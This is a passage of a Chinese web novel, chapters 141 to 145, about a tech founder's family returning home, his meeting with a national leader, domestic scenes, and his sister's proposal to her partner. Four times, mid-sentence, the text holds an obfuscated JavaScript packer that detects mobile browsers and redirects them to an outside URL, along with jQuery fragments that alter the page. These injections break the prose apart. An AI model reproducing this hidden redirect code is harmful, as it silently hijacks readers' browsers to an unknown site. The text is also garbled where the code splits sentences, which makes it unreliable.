套房里安静下来。 众人都回到自己的房间，就连精力旺盛的陆时安，此刻也安睡在婴儿床里，呼吸均匀。 陆沉渊却没有丝毫睡意。 他起身，没有开灯，借着窗外透进来的城市光晕，在熟悉的套房里缓缓踱步。 他走过客厅的沙发，那里曾是无数次深夜谋划的战场。 他走过开放式厨房，那里是他学会给儿子冲奶粉，为妻子熬制补汤的地方。 他停在巨大的落地窗前。 三年来，他无数次站在这里，俯瞰着这座囚禁着他们的城市，思考着每一步棋的落子。 窗外的万家灯火，曾是压抑的牢笼，是冰冷的看客。 此刻，却只是一片，即将远去的风景。 一杯温水，被轻轻递到他手边。 他不用回头，也知道是谁。 “睡不着？”墨清漓的声音很轻，带着一丝慵懒的鼻音。 她也醒了，或者说，她知道他会醒着。 陆沉渊接过水杯，温热的触感从指尖传来。 “在跟这里告别。”他回答。 墨清漓顺着他的目光，看向窗外，然后又环视了一下这间，被无数奢侈品填满，却也承载了他们无数日夜的套房。 “我以为，我会恨透这里。”她轻声说，像是在对自己耳语。 毕竟，这里是她失去自由的起点。 “可这里，”她顿了顿，转头看向婴儿房的方向，眼神瞬间变得无比柔软， “也是安安出生的地方。是我们一家人，真正开始的地方。” 这里有被囚禁的**，有殚精竭虑的博弈。 但也有初为人母的喜悦，有夜半时分，丈夫笨拙而温柔的照顾。 有他们，真正意义上，相濡以沫的每一天。 陆沉渊放下水杯，伸出手，将她揽入怀中。 他的下巴，轻轻抵着她的额头。 “所以，我们带走了这里最好的部分。”他低沉的声音，在安静的夜里，显得格外清晰。 二人来到窗台的沙发上坐下。 墨清漓在他怀里，找了个舒服的位置，闭上眼睛。 那些紧绷了三年的神经，在这一刻，才真正彻底地松弛下来。 “剩下的，”陆沉渊的声音继续响起， “就都留给过去吧。” 他没有说更多安慰的话，只是静静抱着她。 不知过了多久，东方的天际，泛起了一丝鱼肚白。 第一缕晨光，刺破黑暗，照亮了这座城市，洒在窗台上的两个身影。 同时，也照亮了，他们回家的路。 “天亮了。”墨清漓在他怀里轻声说。 “嗯。”陆沉渊吻了吻她的发顶。 “我们回家。” …… 第二天清晨。 一架湾流G700私人飞机，在哥都国际机场的专用跑道上，安静地等待着。 陆沉渊一家，在李文博大使和使馆人员的陪同下，通过VIP通道，抵达了停机坪。 没有记者，没有送别的人群。 只有，初升的朝阳，将他们的身影，拉得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348586|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长。 登机前。 陆沉渊和墨清漓，不约而同地，回头看了一眼。 看了一眼这座，他们生活了三年的城市。 这里，有他们最艰难的时光。 也有，他们最幸福的回忆。 两人相视一笑，然后走上了舷梯。 飞机，腾空而起。 穿过云层，飞向**晴空。 机舱内，温暖而安静。 陆时安在他专属的婴儿床里，睡得正香。 楼梦玲、林书函和王通文，在后舱的休息区里，低声聊着天。 偌大的主客舱，只剩下陆沉渊和墨清漓。 他们并排坐着，透过巨大的舷窗，看着下面，那片已经变得渺小的陆地。 “阿渊。”墨清漓将头，轻轻靠在他的肩膀上。 “嗯。” “我有点，像在做梦。”她的声音，带着一丝如释重负的疲惫。 “不是梦。”陆沉渊握住她的手，十指紧扣，用自己的体温包裹着她。 “我们回家了。” 墨清漓闭上眼睛。 感受着他掌心的温度，和飞机平稳的飞行。 是啊。 回家了。 带着他们的胜利，他们的爱情，和他们的未来。 回家了。 …… 十几个小时后。 飞机平稳地，降落在京州国际机场。 当机舱门打开，闻到那熟悉又亲切的，故乡的空气时。 所有人的眼眶，都微微湿润了。 舷梯下，没有盛大的欢迎仪式。 前来迎接的，只有寥寥数人。 林远，任茜，张奇，苏阳，还有陆沉渊的三个弟弟。 以及，抱着一束向日葵，清冷高雅，又带着一种独特理性气质的陆若溪。 看到哥哥和墨清漓走下来，陆若溪快步上前。 “哥，清漓姐，欢迎回家。” 她的脸上，似乎带着常年做研究形成的冷静克制。 但是，陆若溪看到陆沉渊和楼梦玲时，仍然忍不住的情绪激动起来。 陆沉渊看着眼前的亲人和伙伴。 看着他们脸上真挚的笑容。 那场席卷了他们所有人，持续了三年的风暴，终于彻底平息了。 而属于他们的，崭新的人生篇章。 才刚刚，开始。 第141章 红墙和人间 京州的清晨，来得比哥都更早。 没有了持续三年的压抑，连阳光都显得格外清透。 陆沉渊一家回到云顶壹号的公寓里适应着时差。 楼梦玲和林书函带着陆时安，住在了墨清漓楼下的那套房子里。 王通文告辞了，他要去处理画廊积压的事务，也想给楼梦玲一些独立思考的空间。 偌大的顶层，只剩下陆沉渊和墨清漓。 还有，属于他们两个人的安静。 上午九点。 陆沉渊的私人手机，响了起来，是一个陌生的号码。 他接起，电话那头是一个沉稳的中年男声。 只是用最简洁的语言，传递了一个信息。 “陆先生，楼下有车等您。” “好。” 陆沉渊回答。 他挂了电话，没有丝毫意外。 墨清漓正坐在沙发上，用平板翻看着一份份关于墨氏集团近况的摘要。 她没有看具体的数据，只是看着那些熟悉又陌生的项目代号。 仿佛在确认，他们真的回来了…… 她听到陆沉渊挂断电话，抬起头。 “要出门？” “嗯，去一个地方。”陆沉渊说。 他没有说去哪里。 墨清漓也没有问。 她只是站起身，走到玄关，从鞋柜里拿出他的皮鞋，轻轻放在地上。 然后，又去衣帽间，取出一件深色的薄款风衣。 “外面风大。”她说。 陆沉渊走过来，接过风衣穿上。 墨清漓伸手，为他整理了一下衣领，然后用手抚平，仿佛那里有一道看不见的褶皱。 她的指尖有些微微发凉，陆沉渊握住她的手， “别担心。” “我等你回来吃饭。”墨清漓看着他的眼睛，认真地说。 “好。” 陆沉渊转身，出门。 电梯平稳下行。 他走出单元门。 一辆黑色的红旗轿车，安静地停在楼前的空地上。 车身线条庄重，沉稳。 车牌号很简单，却拥有普通人无法想象的分量。 一个穿着工作制服的司机站在车旁。 看到陆沉渊出来，他微微颔首，为他拉开了后座的车门。 陆沉渊坐了进去。 车门关闭，仿佛是隔绝了外界的一切声音。 车辆平稳启动，汇入京州的车流。 没有警车开道，没有特殊通行。 它就像一滴水，融入了大海。 窗外的景象，飞速**。 高楼，立交桥，熟悉的街景。 陆沉渊看着这一切。 三年前，他站在这里，眺望远方，心中是未知的风暴。 三年后，他回来了，风暴已平，四海归心。 车子最终驶入一片红墙的外面。 这里周围的建筑，变得古朴，庄严。 高大的院墙隔绝了城市的喧嚣，空气中都仿佛弥漫着一种历史的厚重感。 车子在一扇朱红色的高门前停下，司机下车为陆沉渊打开车门。 一个穿着朴素灰色制服的工作人员，早已等在那里。 “陆先生，请跟我来。” 陆沉渊跟着他，脚下是青石板路，两旁是苍劲的古松。 没有金碧辉煌，只有一种洗尽铅华的庄重与肃穆。 走了大概十几分钟之后，陆沉渊来到一间古朴的书房前。 “陆先生，请。” 工作人员推开厚重的木门，做了一个“请”的手势。 陆沉渊走了进去。 书房很大，很高，也很静。 书房的四壁，都是顶到天花板的书架。 空气中，弥漫着淡淡的书墨香。 一个身影正站在窗前，背对着他，看着窗外的一株海棠。 身影并不高大，却自有一股渊渟岳峙的气度。 陆沉渊站定，没有开口。 片刻之后，那个身影转了过来。 这是一个夏国人都熟悉，而又陌生的老人。 “来了。” 老人的声音很平静，像是和一位晚辈拉家常。 “领导。”陆沉渊郑重地回了一声。 “坐。” 老人指了指旁边的待客区。 那里，只有两张简单的木质扶手沙发。 中间的茶几上，已经泡好了一壶茶。 两人相对而坐，没有第三个人在场。 老人亲自提起茶壶，为陆沉渊倒了一杯茶。 茶水清亮，热气袅袅。 “这几年，辛苦你了。”老人率先开口，打破了沉默。 “是我该做的。”陆沉渊回答。 “嗯。”老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348587|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人点了点头，语气和邻家的老大爷似乎并无区别。 他看着眼前的年轻人，三十左右的年纪，眼神里却有着远超同龄人的沉稳与通透。 那场席卷全球的风暴，他从一开始就在关注。 J国的每一步棋，A国的每一次施压。 渊龙的反击，汗青的坚守，连山的迂回。 以及，夏国相关部门的策应。 他都了然于胸。 他知道，眼前这个年轻人和他的家人承受了什么。 也知道，他们为这个国家赢回了什么。 “我今天请你来，不是为了**行赏。那些，历史自然会给出评价。” 老人的目光变得深远。 “我是想听听，你对未来有什么想法。” 他顿了顿，补充道， “渊龙的未来，夏国企业的未来。” “以及，你，陆沉渊，个人的未来。” ……… 二人聊了很长时间。 但是具体聊了什么，谁也不知道。 只是陆沉渊起身离开时，老人说道，"放手去做吧。" 他接着说到，“国家，是你最坚实的后盾。” 没有承诺，没有文件。 只有这简简单单的一句话。 陆沉渊走后，老人站起身，重新走到窗前。 他似乎是自言自语，又似乎是说给某些人听， “我年轻的时候，也喜欢看星星。” “总觉得，那上面，藏着人类最终的答案。” “我们的年轻人啊，看起来是要替我，替我们，去看一看，问一问喽。” …… 陆沉渊走出红墙时，已是正午，阳光正好。 那辆红旗车依旧在原地等他。 回去的路上，陆沉渊闭着眼睛靠在后座上。 他的脑海里，没有复盘刚才的谈话。 而是在想，中午该给清漓做什么菜。 冰箱里，好像没什么东西了。 可以让人送一条鲈鱼过来。 清蒸鲈鱼应该不错。 再炒一个她喜欢的西红柿炒蛋…… …… 一个小时之后，车子停在了云顶壹号的楼下。 陆沉渊下车后，司机对他，再次微微颔首，然后低调地驱车离去。 仿佛，从未出现过。 第142章 不过这人间的一餐一饭 陆沉渊回到顶层，一开门就闻到了淡淡的百合花的香气。 墨清漓正坐在客厅的地毯上，陪着刚睡醒的儿子玩着一个绒布老虎。 她听到开门声，抬起头看到陆沉渊，她的脸上露出了微笑。 “回来了？” “嗯。” 陆沉渊换了鞋，脱下风衣。 他没有走向沙发，而是径直走进了厨房。 食材已经先他一步放在厨房。 然后，熟练地系上了围裙。 哗啦啦的水声在厨房里响起。 墨清漓抱着儿子，看着厨房里那个正在认真清洗食材的高大的背影。 他的侧脸，在明亮的灯光下轮廓分明。 就在两个小时前。 这个男人，还在那个决定着国家命运走向的地方，与最高领导人纵论未来。 而现在，他却在这里为她洗手作羹汤。 天大的事，仿佛都大不过这人间的一餐一饭。 墨清漓的心，被一种难以言喻的温暖和柔软彻底填满。 她将儿子轻轻放进围栏里。 然后，赤着脚悄无声息地走到厨房门口。 她靠在门框上，就那么静静地看着他，看他刮鱼鳞，切葱姜，动作娴熟。 而且，每一下都格外认真。 陆沉渊似乎察觉到了她的目光，回过头。 “怎么了？” 墨清漓没有说话。 她走上前，从他身后伸出双臂，紧紧地抱住了他的腰。 她的脸，贴在他宽阔的后背上。 感受着他，隔着薄薄的衬衫传来的坚实的体温。 陆沉渊的身体，微微一僵。 他停下了手里的动作。 “清漓，这里油烟重。”他的声音，有些不自然。 “不怕。” 墨清漓将自己的脸在他背上蹭了蹭，然后说道， “有你在的地方，都是清香，和安宁。” 墨清漓的声音闷闷的，却带着一丝撒娇的意味。 陆沉渊的心，瞬间软得一塌糊涂。 他转过身，看着墨清漓，然后，低头吻了下去。 这个吻，是无尽的珍视与安宁。 良久。 唇分。 两人额头相抵，呼吸交缠。 “我饿了。”墨清漓看着他的眼睛，轻声说。 “好，马上去做。” 陆沉渊眼中的深情，瞬间被一丝慌乱取代。 他手忙脚乱地，转过身，继续处理那条，已经被他“蹂躏”了许久的鲈鱼。 墨清漓看着他有些狼狈的背影，忍不住笑出了声。 这笑声，清脆悦耳。 像风，吹过盛夏的风铃。 半个小时后。 两菜一汤，摆上了餐桌。 清蒸鲈鱼，西红柿炒蛋，还有一个紫菜蛋花汤。 最简单不过的家常菜。 陆时安小朋友坐在他的专属宝宝椅上，咿咿呀呀地挥舞着小勺子，只能吃着单独准备的辅食。 陆沉渊和墨清漓，相对而坐。 阳光，透过巨大的落地窗，洒在餐桌上。 将一切，都镀上了一层温暖的金色。 墨清漓夹了一筷子鱼肉放进嘴里，很鲜很嫩。 “好吃。”她由衷地称赞道。 陆沉渊看着她满足的样子，心中的成就感丝毫不低于，这三年在J国纵横捭阖后收官的那一刻。 “那明天，我接着做给你吃。”他说。 “好。” 墨清漓笑着点头。 眼前的男人，正在用最朴素的行动将她拉回人间烟火。 吃完饭，陆沉渊主动收拾碗筷。 墨清漓也没有闲着，拿着湿巾细致地给陆时安擦干净了小花脸和小手。 厨房里传来哗哗的水声。 客厅里，陆时安抱着他的绒布老虎，在地毯上翻滚。 墨清漓的目光，缓缓环视着这间宽敞到有些空旷的顶层公寓。 这里的每一件家具，每一个摆设，都带着极致的冷静和克制。 这里是曾经是他们的指挥室，是固若金汤的堡垒。 他们在这里分析情报，制定计划，彻夜不眠。 这里见证了他们最紧张的博弈，最默契的并肩。 也见证了，她从最初的邻居，到后来的盟友，再到他孩子的母亲。 这里，承载了太多。 “阿渊。”她靠在厨房门框上，看着正在洗碗的背影。 “嗯？”陆沉渊回过头，手上还带着泡沫。 “这里，该变一变了。”墨清漓轻声说。 陆沉渊擦了擦手，走过来，眼中带着一丝询问。 “这里太冷了。”墨清漓的指尖，划过冰冷的金属装饰线条， “像个堡垒，不像个家。” 她走向客厅中央，用脚尖画了一个圈。 “我想在这里，给安安做一个足够大的游戏区。铺上最软的地毯，让他可以光着脚在上面跑。” 她的目光，又投向了其中一间书房，那里堆满各种设备和文件的书房。 “那间书房，我想把它改成一间真正的家庭图书馆。不要电子屏幕，只要书。从安安的绘本，到你的历史，再到我的商业和艺术。” “我希望我们的家，是有温度的，有书香气的，是……柔软的。” 这里是他们的起点，是他们的“定情之地”。 现在，有了陆时安，墨清漓打算重新规划他们的家。 她选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355160|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，是在这片属于他们的战场上，亲手栽种出属于他们未来的花园。 陆沉渊看着她。 看着她眼中闪烁着的，对未来的憧憬和规划，温和地回了一声， “好。” 陆沉渊知道，她在邀请他，一起将这个堡垒，改造成一个真正的家。 “设计师我会安排最好的。”他补充道。 墨清漓摇了摇头。 “不，我自己来画图纸。”她眼中带着一丝狡黠和自信， “我的家，每一个细节，都要由我来决定。” 陆沉渊失笑，又轻声应了一个字， “好。” 午后的时光，就在这种温馨的规划中悄然流逝。 陆沉渊接到了，张奇的电话。 “陆总，你和墨总，还好吗？”张奇的声音，充满了关切。 “我们很好。”陆沉渊的语气，轻松。 “那就好。公司这边，一切正常。秦氏和思特拉，最近都很活跃。不过，都在我们的预料之中。” “这些事，以后你和任茜，全权决定。”陆沉渊打断了他。 电话那头的张奇，愣了一下。 “我只提一个要求。”陆沉渊继续说。 “你说。” “让科研团队慢下来。” “慢下来？”林远更加不解。 在如今这个一日千里的市场里，慢下来就意味着被超越。 “对。”陆沉渊的语气坚定。 “告诉若溪和苏阳，不要急着追求技术的迭代。” “我需要他们能够抽出精力，用未来几年的时间，去搭建最底层的理论框架。” “我需要一个能够领先未来二十年的地基。” 张奇沉默了。 他瞬间明白了，陆沉渊的意图。 当所有人都，在抢着盖高楼的时候。 这个男人，却已经开始，着手定义未来的地质结构。 “我明白了，陆总。” “以后，不用叫我陆总了。”陆沉渊淡淡地说。 “可以叫我，陆先生，或者，老陆。” 随后陆沉渊挂了电话。 陆沉渊看到，墨清漓已经找来了纸笔，正趴在地毯上勾勒着他们新家的草图。 陆时安就坐在她旁边，好奇地看着母亲笔下出现的线条和色块。 夕阳的余晖，将她们母子的身影，拉得很长，画面温暖得像一幅古典油画。 他走过去，从身后，轻轻环住她们。 一家三口，静静地，看着窗外。 看着这座，他们即将再次融入的城市。 也看着，那张草图上，正在一点点清晰起来的家的模样。 风，停了。 而家，开始了。 第143章 凡尘 不单单是科技圈在等待，整个世界也在等待。 从夏国到A国，无数的分析师和投资人，都在等待陆沉渊的归来。 他们等待一场发布会，一个宣言，一个足以撬动全球科技格局的新战略。 虽然渊龙科技早就退市，可是只要和渊龙科技相关的公司，它们的股价，在陆沉渊回国之后，一路攀升，市场情绪达到了顶点。 所有人都期盼这个曾经的王者，将会带来怎样的变化。 然后，渊龙科技的官网，在万众瞩目下只更新了一条极其简短的消息。 没有新闻发布会。 没有全员信。 只有一则，仿佛人事部日常发布的任免通知。 “经集团董事会决议，聘请陆沉渊先生，担任渊龙科技首席战略顾问一职。” 首席战略顾问。 一个听起来位高权重，却又明显抽离于日常管理的虚衔。 然后，就再也没有关于陆沉渊的其它消息。 只有这么一句话。 整个市场，不管是对手还是队友，瞬间陷入了巨大的困惑和茫然。 所有媒体开始疯狂解读。 有人说，这是陆沉渊以退为进，即将有更大的动作。 有人说，这是他与董事会博弈失败，被架空了权力。 还有人说，经历了三年的磨难，这位曾经的掌舵人已经锐气尽失。 无数的猜测，像雪片一样飞满了全球的财经版面。 …… 而风暴的中心。 云顶壹号，顶层。 浴室内，水汽氤氲。 陆沉渊正半蹲在地上，神情专注，甚至带着一丝，如临大敌般的严肃。 他的面前，是一个可爱的鲸鱼造型的婴儿浴盆，里面盛着温水。 水温计显示着精准的38.5℃，不多不少，是他查阅了无数资料后确定的最佳温度。 旁边整齐地码放着婴儿沐浴露、抚触油、柔软的纯棉浴巾。 一切都井然有序，仿佛在准备一场精密的化学实验。 浴盆里，坐着正用小脚丫欢快拍打着水面的陆时安。 回国后，楼梦玲和林书函并没有一直住在楼下。 之前，楼梦玲放下了工作到哥都照顾儿子媳妇以及后来的孙子。 所以，京州大学那边积压了许多事。 而且还有王通文在等着她。 林书函也回了墨家庄园，毕竟墨振邦也需要林书函。 两位母亲都开始逐步回归到自己的节奏。 于是，照顾陆时安的重任，第一次完全落在了这对新手父母身上。 “好了，安安，我们洗头了。”陆沉渊的声音，带着哄诱般的温柔。 他拿起一个卡通花洒造型的护耳洗头帽，小心翼翼地想给儿子戴上。 刚刚还玩水玩得很高兴的陆时安，似乎把这当成了一个新游戏。 他的小脑袋摇得像拨浪鼓，就是不让帽子靠近。 陆沉渊深吸一口气，感觉比当初面对A国制裁时，还要紧张。 他尝试了几次，终于成功地把帽子戴了上去。 他长舒一口气，用小毛巾沾湿了儿子的头发，挤上一点沐浴露，轻轻揉搓。 就在他以为一切顺利时，陆时安的小手突然抓住了洗头帽的边缘，用力一扯！ “哗啦——” 帽子飞了，带着泡沫的水花，尽数溅在了陆沉渊的脸上和身上。 陆沉渊的动作瞬间僵硬。 他顾不上擦脸，第一反应是去看儿子的眼睛，生怕泡沫流进去。 幸好，角度刚刚好，并未波及。 墨清漓处理完一份墨氏的文件，走进卧室，看到的就是这样一幅景象。 那个在J国搅动风云、让世界侧目的男人，此刻发梢滴着水，脸上还挂着几点白色泡沫。 他半蹲在地上，对着浴盆里那个咯咯直笑的小家伙，一脸的束手无策。 她终于忍不住，倚着门框，轻笑出声。 “首席战略顾问先生，”她调侃道，“你的新项目，进展似乎不太顺利？” 陆沉渊闻声，有些无奈地转过头，看到她眼里的笑意，也跟着苦笑了一下。 他看着自己，那双曾经签下过千亿合同，敲定过无数战略的手。 此刻，显得那么，笨拙无用。 “别动，我来。”墨清漓笑着走进来，却没有接手的意思。 她不慌不忙地，从旁边的架子上，拿起一只黄色的小鸭子玩具，在陆时安眼前晃了晃，然后把它放进水里。 “啾。”她轻轻捏了一下鸭子。 陆时安的注意力，瞬间被这只会叫的、漂浮在水上的新奇玩意儿吸引了。 他伸出两只小手，专注地，去抓那只游来游去的小鸭子。 墨清漓对陆沉渊递了个眼神。 陆沉渊立刻领会。 他迅速地，重新揉搓泡沫，冲洗，一气呵成。 这一次，陆时安全程都在和小鸭子“战斗”，完全没有反抗。 洗完澡，陆沉渊用巨大的浴巾将儿子裹住，抱在怀里。 小家伙身上散发着好闻的奶香和沐浴露的馨香，小脸红扑扑的，打了个哈欠，便往他温暖的怀里蹭去。 陆沉渊的心，瞬间被填得满满的。 他抱着儿子走出浴室，墨清漓已经拿来了干净的衣服和纸尿裤。 她微笑着说道，“看来，你的新岗位挑战不小。” 陆沉渊有些无奈地，笑了笑。 他走到她身边坐下，很自然地将她揽入怀中。 “是，这个挑战确实不小，比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355161|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司里的工作要难一些。” 墨清漓靠在他的肩膀上，看着洗完澡有些昏昏欲睡的儿子。 “可是，也比公司里的工作幸福多了。”她轻声说。 陆沉渊闻言，收紧了手臂。 是啊。 窗外，是全世界的喧嚣、猜测与追逐。 窗内，只奶粉的香甜，和一家三口的安宁。 这，才是他用三年时间，赢回来的最珍贵的战利品。 …… 下午。 陆沉渊处理完几份必须由他签字的文件后，拨通了陆若溪的电话。 电话响了很久才被接起。 “哥？”陆若溪的声音带着一丝疲惫。 “还在实验室？”陆沉渊问。 “嗯，一个算法跑到关键节点了。” “放下吧。”陆沉渊的语气很平静。 “什么？”陆若溪以为自己听错了。 “我说，放下手里的工作，和苏阳，一起下班回家。” 陆沉渊的声音温和，陆若溪却听出了几分坚决。 “可是……” “没有可是。”陆沉渊打断了她， “我昨天跟张奇说的不是建议，是命令。” 他顿了顿，语气再度柔和了一些。 “若溪，生命很长。人生，不只有代码和公式。” “短暂的停歇，不会耽误任何事情。反而，能让你们看得更远。” 电话那头的陆若溪沉默了。 许久，陆若溪才低声应道。 “……好，我知道了，哥。” 陆若溪挂了电话，站在巨大的数据瀑布屏幕前，有些失神。 苏阳从另一间设备室走出来，看到她罕见地在发呆。 “怎么了？” “哥的电话。”陆若溪转过头，看着他， “他让我们，现在，立刻，下班。” 苏阳愣了一下，随即笑了。 “那我们，是不是该……遵命？” 他脱下身上的白大褂，拿起挂在衣架上的自己的外套和陆若溪的风衣。 他走到她面前，将风衣轻轻披在她的肩上。 “走吧，首席科学家。老板的话，还是要听的。” 陆若溪看着苏阳。 眼前的男人，褪去了学生时代的青涩，肩膀变得宽阔，眼神沉稳而温和。 这八年来，他一直就这样陪在自己身边。 从安河县的那个小小的教室，到京州大学的阶梯教室。 再到渊龙科技这个汇聚了全世界最顶尖头脑的人工智能实验室。 他从追赶者，变成了与她并肩而立的同行者。 无论是在学术上，事业上，还是生活上。 “好。” 陆若溪点了点头，关掉了面前的屏幕。 整个实验室，仿佛都安静了下来。 第144章 hello，world 苏阳开着那辆白色的“无距”新能源车，拉着陆若溪平稳地行驶在京州傍晚的车流中。 陆若溪坐在副驾，看着窗外飞速倒退的街景。 她以为，车子会像往常一样驶向她们在公司附近的那套公寓。 但苏阳却在下一个路口，转动了方向盘，驶上了一条通往郊外的路。 “我们不回家吗？”陆若溪问。 “大哥说，让我们停下来，看看风景。”苏阳的侧脸，在夕阳的余晖下显得格外柔和。 “我带你去看，京州最美的日落。” 随后车子一路向西，城市的喧嚣渐渐被抛在身后。 道路两旁，出现了大片的原野和树林。 最终，车子停在了西山的一处观景平台。 在这里，可以俯瞰整个京州城的轮廓。 两人下了车。 山顶的风有些大，吹起了陆若溪的长发。 苏阳默默地站到了她上风口的位置，为她挡住了大部分的风。 他们并肩，靠在栏杆上。 看着远方，那轮巨大的橘红色的落日，正一点点沉入地平线。 天空被染成了，从绯红到靛蓝的渐变色。 城市的灯火开始一盏盏亮起，最终，汇成一片璀璨的星河。 “很美。”陆若溪轻声说。 她的眼中，倒映着整座城市的光。 “是啊。”苏阳看着她，而不是看风景，“很美。” 陆若溪似乎察觉到了他的目光，转过头。 四目相对。 空气中，有一种不同于实验室里的安静在蔓延。 没有了代码，没有了公式。 只有风声，和彼此的呼吸声。 陆若溪看着苏阳。 这个从安河县，一路陪着她走来的男生。 他曾是她的后桌，是她的年级第二，是她身后默默追赶的影子。 她考上京州大学，他也拼了命地考来了这里。 她投身于枯燥的数学研究，他便一头扎进了同样烧脑的计算机科学。 她做的每一个理论模型，第一个读者，永远是他。 他写的每一行核心代码，第一个测试者，也永远是她。 他们是，最默契的战友。 是彼此，唯一的知己。 这些年，她习惯了他在身边。 习惯了，他为她整理好的实验数据。 习惯了，他深夜递过来的一杯热牛奶。 习惯了，他看着她时，那永远不变的温和的眼神。 她一直以为，这就是，他们之间最好的状态。 理性，默契，高效。 可就在刚才，大哥说“人生不只有代码和公式”的时候。 她的心，忽然被什么东西轻轻触动了一下。 现在，站在这里。 看着身旁，这个已经成长为可靠而坚实的男人。 她忽然觉得，他们之间，或许，还可以有更多。 一个念头，在她那颗习惯了逻辑推演的大脑里清晰地浮现了出来。 这是一个，最优解。 也是一个，她心底里，最想要的答案。 于是，她开口了。 用一种像是在探讨学术问题一样，冷静而直接的语气。 “苏阳。” “嗯？” “根据我们过去八年的相处模式，情感依赖度，以及未来人生规划的契合度综合分析。” 陆若溪看着他，眼神清澈又无比认真。 “我们结婚的成功率，是百分之九十九点九。” 苏阳，彻底愣住了。 他张了张嘴，却一个字都说不出来。 他想过无数种，求婚的场景。 在拿到世界冠军的领奖台上，在他们的第一个产品发布会上，甚至，就在某个普通的下班路上。 他唯独没有想过，会被她用这种方式，“反向”求婚。 陆若溪看着他，有些呆滞的表情，微微蹙眉。 “我的逻辑，有漏洞吗？” “……没有。”苏阳终于，找回了自己的声音，喉结滚动了一下。 “那你，还在等什么？” 陆若溪的语气里，带上了一丝她自己都未曾察觉的催促。 “你什么时候，和我求婚？” 苏阳看着她。 看着她那双清冷理性的眸子里，此刻，却闪烁着一点他从未见过的紧张和期待的星光。 他的心瞬间被巨大的狂喜和温柔彻底淹没。 苏阳笑了，笑得像个傻子。 他没有回答她的问题。 而是转身，快步走回车边，拉开了副驾的储物箱。 他从里面，拿出了一个小小的丝绒盒子。 他走回来，重新站在她面前。 深吸一口气，然后单膝跪地。 他打开盒子，里面是一枚设计极为简洁的铂金戒指。 戒圈内侧，刻着一行小小的代码。 那是，他写给她的第一个“hello， world”。 “若溪。” 苏阳仰起头，看着她，眼眶微红，声音却无比坚定。 “我早就准备好了。” “我在等，等你允许我走进你的人生；而不是，只站在你的身边。” 陆若溪的心，微微一颤。 她的眼眶，毫无预兆地湿润了。 那颗习惯了计算和证明的大脑在这一刻彻底当机，只剩下最本能的心跳。 “那么现在，”苏阳将戒指，高高举起， “你愿意吗？” 陆若溪没有说话。 她只是，伸出了自己的手。 用行动，给出了最确定的答案。 苏阳颤抖着，将那枚承载了他所有青春和爱恋的戒指戴在了她的无名指上。 戒指大小刚刚好。 他站起身将她紧紧地拥入怀中。 山顶的风，吹过。 远方，是人间璀璨的万家灯火。 怀里，是属于他的整个宇宙的星光。 片刻之后。 陆若溪的手机，轻轻震动了一下。 她从苏阳怀里，退出来一点拿出手机。 是一张照片。 苏阳刚刚在她不知道的时候，拍下了戴着戒指的她的手。 背景，是京州城的无边夜色。 她看着照片，嘴角不自觉地微微上扬。 然后，她按下了发送键。 接收人：哥。 …… 云顶壹号。 陆沉渊的手机，亮了一下。 他拿起手机便看到那张照片愣了一下，随即又笑了起来。 他将手机递给身旁的墨清漓。 “看来，我那个‘放慢脚步’的命令，效果不错。” 墨清漓看着照片，也露出了会心的微笑。 “是某人，终于开窍了。” 她抬起头，看着窗外那和西山顶上别无二致的璀璨夜景。 “阿渊。” “嗯？” “我们的家，什么时候，开始动工？” 陆沉渊放下手机，拿过她下午画的那张，已经有了雏形的设计草图。 “那就明天吧。” 他看着图纸上，那个被圈出来的巨大的儿童游戏区。 “我希望安安学会走路的时候，能踩在你亲手设计的地毯上。” 第145章 留在时光里的庄园 云顶壹号的改造工程，正式开始了。 墨清漓拒绝了所有顶级设计师的方案，亲自拿起了绘图笔。 她要设计的不是一个富丽堂皇的样板间，而是一个家。 一个属于她、陆沉渊和陆时安的真正的家。 每一根线条，每一种材质，都由她亲自选定。 那个曾经象征着陆沉渊冷静、克制甚至孤僻的堡垒，在她笔下，一点点被拆解重构。 冰冷的金属墙饰被拆除，换成了触感温润的胡桃木护墙板。 